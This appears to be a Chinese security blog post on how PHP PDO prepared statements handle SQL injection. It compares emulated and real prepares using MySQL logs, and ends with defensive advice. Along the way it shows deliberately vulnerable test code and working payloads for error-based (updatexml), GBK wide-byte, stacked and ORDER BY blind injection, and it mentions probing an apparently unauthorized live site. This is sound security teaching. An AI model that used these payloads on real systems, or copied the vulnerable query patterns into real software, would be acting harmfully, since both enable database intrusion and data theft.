写在前面

记得大三的时候,有一门web开发的课程,当时的大作业就是开发一个系统,并且可以自行在其中做上一些安全防护。由于需要实现用户注册、登录、查询等等一系列需要与数据库进行交互的功能,防止SQL注入是很有必要的。当时经过在网上的一顿学习,发现使用PDO参数化查询可以有效防止SQL注入的呼声最高,于是自信满满地大作业里的所有与数据库进行交互了的位置都替换成了参数化查询的方式,并且答辩的时候向老师一顿鼓吹。

直到前两日,xsheep师傅突然在群里聊到之前尝试挖洞的一个站,通过一个注入点进行报错注入,已经通过database()user()拿到了回显的情况下,想要再进一步,爆出表名等信息时出现了问题。

拿到了师傅分享的链接后,我也尝试了半天,确实一直没办法进一步利用,一直重复出现的都是那几个报错,甚至让我一度怀疑我的payload编写的问题。后来了解到,在特定情况下,PDO的预编译,好像真没法完全阻止我们注入的SQL语句。

参数化查询

参数化查询是用于数据库操作的一种方法,能够在一定程度上防止SQL注入,其核心主要是预编译绑定参数

预编译:SQL语句和参数分离,数据库先对SQL语句模版进行解析和编译。

绑定参数:将用户输入的数据绑定到SQL模版中的占位符上,可以避免直接嵌入SQL语句。

参数化查询数据库服务器不会直接把参数的内容作为SQL语句的一部分执行,而是数据库会先对SQL语句进行编译,而后代入参数执行。常规的SQL注入,主要就是利用一些过滤限制不足,导致可以将我们自行构造的SQL语句注入到原本的SQL语句中来执行。但是在参数化查询的过程中,语句是语句,参数是参数,参数的值不会被当作语句的一部分执行。

以下以PHP下的参数化查询作为例子。

常规查询功能示例。此时如果$username$password两个参数是可控的情况下,就可能会造成被插入恶意SQL语句的情况:

1
2
3
4
5
6
7
<?php
// 构造SQL查询
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

// 执行查询
$result = $pdo->query($sql);
?>

PDO参数化查询示例。对SQL语句进行预编译,而后绑定参数,将输入和SQL模版分离:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// 预编译SQL语句
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username AND password = :password');

// 绑定参数
$stmt->bindParam(':username', $username);
$stmt->bindParam(':password', $password);

// 设置输入
$username = 'admin';
$password = '123456';

// 执行查询
$stmt->execute();
$result = $stmt->fetchAll();
?>

模拟预处理(假预编译)

为了能看到后续进行预编译的时候,数据库执行SQL语句的过程,我们需要先开启日志:

1
2
show variables like 'general%';
set GLOBAL general_log = ON

image-20241217025952222

测试环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$host = "localhost";
$dbname = "test";
$user = "root";
$pass = "root";


$pdo = new PDO("mysql:host=$host;dbname=$dbname", $user, $pass);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$stmt = $pdo->prepare("select username from user where id = :id");

$username = $_GET['id'];
$stmt->bindParam(':id', $username);

$stmt->execute();

$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
print_r($result);

$pdo = null;
show_source(__FILE__);
?>

传入一个id=1,然后查看日志过程:

1
2
3
2024-12-16T19:10:51.394325Z	   13 Connect	root@localhost on test using Socket
2024-12-16T19:10:51.394679Z 13 Query select username from user where username = '1'
2024-12-16T19:10:51.396014Z 13 Quit

从日志中可以看到,第一步是链接数据库,第二步就是执行SQL语句,第三步为退出。但是这和之前提到的预编译的过程不一样,接下来再尝试一下存在符号的语句:

1
?id=1'
1
2
3
2024-12-17T02:41:46.570293Z	    6 Connect	root@localhost on test using Socket
2024-12-17T02:41:46.570626Z 6 Query select username from user where id = '1\''
2024-12-17T02:41:46.571404Z 6 Quit

可以看到,果然就是草台班子,我们输入的符号只不过是被转义了而已,并不是被标榜的参数化查询。但是真的是这样吗,这是因为默认的预编译模式,被称作虚假的预编译(模拟预处理机制),他在执行SQL语句的时候,没有执行所谓的预编译、参数绑定等过程,仅仅是对·我们输入的符号进行了转移。

那为什么这是一个虚假的预编译呢,这是由于参数PDO::ATTR_EMULATE_PREPARES,该选项用来配置PDO是否使用模拟预编译,也就是虚假的预编译,这个开关默认情况下为true,设置为false后,才会执行真正的预编译的过程。设置这个开关的目的是为了兼容一些不支持预编译操作的数据库(如sqllite和低版本的MySQL),模拟预编译会由客户端程序内部参数绑定这一过程(而不是数据库),内部prepare后再将拼接的sql语句发给数据库来执行。

真预编译

接下来,在原有的代码的基础上,加一个将PDO::ATTR_EMULATE_PREPARES设置为false的操作:

1
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

再执行数据库语句,得到日志内容:

1
2
3
4
5
024-12-17T06:00:02.191209Z	   11 Connect	root@localhost on test using Socket
2024-12-17T06:00:02.193765Z 11 Prepare select username from user where id = ?
2024-12-17T06:00:02.195767Z 11 Execute select username from user where id = '1'
2024-12-17T06:00:02.197243Z 11 Close stmt
2024-12-17T06:00:02.197333Z 11 Quit

从日志内容中可以看到,执行的顺序变成了:

  1. 连接数据库
  2. 预编译
  3. 绑定参数并查询
  4. 关闭连接与退出

在预编译步骤,我们预留的绑定参数的部分,可以看到被'?'作为占位符放置,在执行阶段才绑定了用户输入的参数,并执行SQL语句。此时在预编译部分,整个SQL语句的整体就已经被固定,也就消除了用户输入的内容中存在SQL语句的歧义。

预编译的设计初衷并不是用来防止SQL注入的危害,而是为了提高MySQL的运行效率,因为它可以先构建语法树再绑定参数进行执行,避免了每次执行都需要构建语法树的繁琐,可以在面对大量的查询时保持较高的运行效率。虚假的预编译的PDO会在客户端(PHP脚本所在的环境)对SQL语句进行一些处理,而不是完全的依赖数据库的处理功能,这意味着会为服务器带来更多的资源节省,但同时增加了被攻击的风险。真的预编译当然能更好的防护住SQL注入的危害,但我们一定不排除大部分开发人员仍然会使用默认配置,或为了节省服务器开销而使用虚假的预编译的情况。

报错注入为什么会被执行

回到开头所说的报错注入能拿到user()database(),但是其他子查询语句没办法拿到数据的情况。看了P神的文章解释为:

[!NOTE]

非模拟预处理的情况下,参数化绑定过程分两步:第一步是prepare阶段,发送带有占位符的sql语句到mysql服务器(parsing->resolution),第二步是多次发送占位符参数给mysql服务器进行执行(多次执行optimization->execution)。

这时,假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了,那么就会直接由mysql那边抛出异常,不会再执行第二步。

在xsheep给分享的站下,此处使用报错注入的payload,是可以通过报错注入拿到user()database()执行的结果的,但是当我继续使用子查询查表名列名的时候,却一直显示Invalid parameter number

1
2
3
payload:123')) and updatexml(1,concat(0x7e,(select group_concat(table_name) 
from information_schema.tables
where table_schema=database()),0x7e),1)--+-

image-20241214234154984

是因为预编译中的参数,如果是一个SQL语句,那么在执行绑定参数的步骤时,会出现以上错误。但是这就能确保预编译后完全安全了吗,在有些位置也是不可以参数化的:

  1. 表名、列名
  2. order by、group by
  3. limit
  4. join
  5. ……

是由于,类似order by之类的语句,后续接的内容时是字段,而在编写sql的时候,字段名是不能带引号的,一旦带了引号就会被视为字符串,如果order by后的内容是字符串的话,就会出现语法错误。不止是order by,凡是字符串但是又不能加引号的位置都不能参数化。

那么为什么user()和database()数据库函数还是被执行呢,应该是因为预编译是在mysql服务端进行的,预编译的过程不会接触数据,所以使用子查询的情况下不会触发报错,但虽然预编译的过程不接触数据,user()等数据库函数的值还是会被编译进SQL语句,所以会被显示出来。(引用P神的猜测)

预编译下的SQL注入

复现狗and猫师傅的过程,给佬磕一个!

宽字节注入

从模拟预编译的执行方式来看,他只是普通的加上了反斜杠进行转义,可以想到SQL注入中的宽字节注入,宽字节注入存在的条件就是,服务端处理用户输入时使用的编码和数据库解析的编码(需使用宽字节编码,如GBK、GB2312等)不同,并且服务端对输入的特殊字符进行了转义。通常,UTF-8中单个字符由1-4个字节表示,宽字节编码中的汉字可以使用两个字节表示。在GBK编码的数据库中,%5c(反斜杠)和某些合法字节组合在一起时,会被解释成一个合法的双字节字符,就可以绕过反斜杠的转义效果。

例如,输入的内容为%df' OR '1'='1,在服务端会将输入的单引号转义为\',但是在数据库端处理输入的内容时,%5c和%df就会结合成 %df%5c,会被数据库解释成一个汉字,因此语句最终就会变成:

1
'合法字符' OR '1'='1

由此看来,此时是有存在宽字节注入的可能性的,设置环境进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$username = $_GET['username'];

$db = new PDO("mysql:host=localhost;dbname=test;charset=gbk", "root", "root");
$db -> setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$db->query('SET NAMES GBK');

$stmt = $db->prepare("SELECT password FROM user where username= :username");

$stmt->bindParam(':username', $username);

$stmt->execute();

$result = $stmt->fetchAll(PDO::FETCH_ASSOC);

var_dump($result);
$db = null;
?>

使用模拟预处理时,pyaload为1%df%27%20union%20select%20database();#时,SQL语句会变成:

1
SELECT password FROM user where username= '1\運' union select database();#'

也就使SQL注入成为了可能。

如果未开启模拟预处理,则日志内容为:

1
2
3
4
2024-12-17T07:42:04.421662Z	   20 Prepare	SELECT password FROM user where username= ?
2024-12-17T07:42:04.421708Z 20 Execute SELECT password FROM user where username= 0x616C696365DF27
2024-12-17T07:42:04.421858Z 20 Close stmt
2024-12-17T07:42:04.421892Z 20 Quit

可以看到其中插入的参数被hex编码了,这是因为我们服务端设置了编码时,就会将绑定的参数进行编码,因此真预编译对SQL注入的防护还是较为给力的。

未进行参数绑定的预编译

没有进行参数绑定的预编译等于没有预编译,无论是真编译还是模拟预编译,如果使用预编译语句时没有进行参数绑定,而是直接将用户输入的内容拼接到SQL查询中,那么久失去了预编译的安全性,等同于没有使用预编译,也就无法起到语句和参数分离的作用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$host = "localhost";
$dbname = "test";
$user = "root";
$pass = "root";
$params = [
PDO::ATTR_EMULATE_PREPARES => true
];

$id = $_GET['id'];

$pdo = new PDO("mysql:host=$host;dbname=$dbname", $user, $pass, $params);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$stmt = $pdo->prepare("select username from user where id = $id");

$stmt->execute();

$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
print_r($result);

$pdo = null;
show_source(__FILE__);
?>

以上是开启了模拟预编的情况,可以看到,将用户输入的id直接写到了预处理的SQL语句中,此时虽然也对数据库语句进行了prepare操作进行了预处理,但是也起不到作用,并且PDO默认支持堆叠注入,我们也可以插入自己的SQL语句:

1
id=1;select database();
1
2
3
4
2024-12-17T08:43:48.569297Z	   28 Connect	root@localhost on test using Socket
2024-12-17T08:43:48.569563Z 28 Query select username from user where id = 1;
2024-12-17T08:43:48.569904Z 28 Query select database()
2024-12-17T08:43:48.570233Z 28 Quit

从日志中看,由于我们没有执行绑定参数的操作,因此并不存在预处理的步骤,并且,我通过堆叠注入插入的database()也被正确执行了。

关闭模拟预处理后,再进行尝试:

此时再执行同样的payload语句,发现出现了报错,就无法进行堆叠注入了,但是看到其他师傅测试时,即使关闭了模拟预处理也是能够执行堆叠注入的,猜测可能是我的MySQL版本相对较高导致的,因此可以作为一个测试点,万一目标站点服务版本支持呢。

无法预编译的位置

前面有说到,有些地方是不能被参数化的,因此遇到可控的排序功能时,是我们进行SQL注入测试时的一个重点

都知道,oder bygroup by等等一些语句后,加入的内容不能是字符串(通常可能为列名),而参数化就是把我们输入的内容通过绑定参数的步骤绑定字符串到预编译好的SQL语句中,以下构造环境测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$host = "localhost";
$dbname = "test";
$user = "root";
$pass = "root";
$params = [
PDO::ATTR_EMULATE_PREPARES => false
];

$col = $_GET['col'];

$pdo = new PDO("mysql:host=$host;dbname=$dbname", $user, $pass, $params);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$stmt = $pdo->prepare("select * from user order by :col");

$stmt->bindParam(':col', $col, PDO::PARAM_STR);

$stmt->execute();

$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
print_r($result);

$pdo = null;
show_source(__FILE__);
?>

此时,如果我想指定通过按照id列进行排序时:

1
2
3
4
5
2024-12-17T09:18:56.759432Z	   38 Connect	root@localhost on test using Socket
2024-12-17T09:18:56.760556Z 38 Prepare select * from user order by ?
2024-12-17T09:18:56.760722Z 38 Execute select * from user order by 'id'
2024-12-17T09:18:56.761679Z 38 Close stmt
2024-12-17T09:18:56.761744Z 38 Quit

可以看到其中id同样被当作了字符串进行处理,因此我的语句中的order by id并没有按照我预想的功能实现。数据库中,如果数据库的索引失败,查询结果就会等同于oder by NULL或者oder by TRUE,本质上不是一条合法的请求。以下是直接在数据库中做的测试,可看到oder by后为字符串和为NULL的结果都相同:

image-20241217172254481

image-20241217172339843

那么,遇到order by 等一系列后面不可参数化的查询语句时,如何进行SQL注入呢,可以通过构造类似布尔盲注的情况进行:

image-20241217172723615

image-20241217172756167

可以看到,当rand(true)rand(false)时查询出来的内容回显是不同的,因此可以利用这个点进行盲注,构造payload:

1
select * from user ORDER BY rand(ASCII(mid((select DATABASE()),1 ,1))>96);

除了oder by、group by等以外,from等可以利用:

image-20241217181805258

image-20241217181823619

select 后也可以

image-20241217181902526

image-20241217181920905

limit后:

image-20241217181958311

image-20241217182032803

Join:

image-20241217182658142

image-20241217182713839

总结

总之,针对预编译的SQL注入主要就在于,无法添加引号的位置就无法进行参数化绑定,进而也无法执行预编译,这也导致了oder by、group by等使用的场景成为了SQL注入的薄弱点。

防御

  1. 白名单验证:在后段对传入的参数进行验证,只允许指定的合法字段进入SQL查询,避免用户输入敏感语句。
  2. 间接对象引用:通过前段传递映射编号而非字段名,后段根据编号与预设的字段映射关系执行查询,避免用户直接传入SQL字段。
  3. 合理配置框架:对于MyBatis等框架中必须使用${}拼接参数的情况,开发时应将输入控制在白名单范围内。

写完这篇文章后,发现xsheep师傅分享的站点关闭了,也没有办法去再复现,后续如果再遇到类似的情况,在实际场景中尝试一下。

参考

https://fushuling.com/index.php/2023/10/27/预编译与sql注入/
https://www.cnblogs.com/lsdb/p/12084038.html
https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
https://xz.aliyun.com/t/10839?time__1311=CqjxRDcGeeqDqGXYkDIE4RhiCtDtDnGBx2YD&u_atoken=d4eb856adbc1fc67dd3072937d7cefa7&u_asig=1a0c399817340574489158966e003e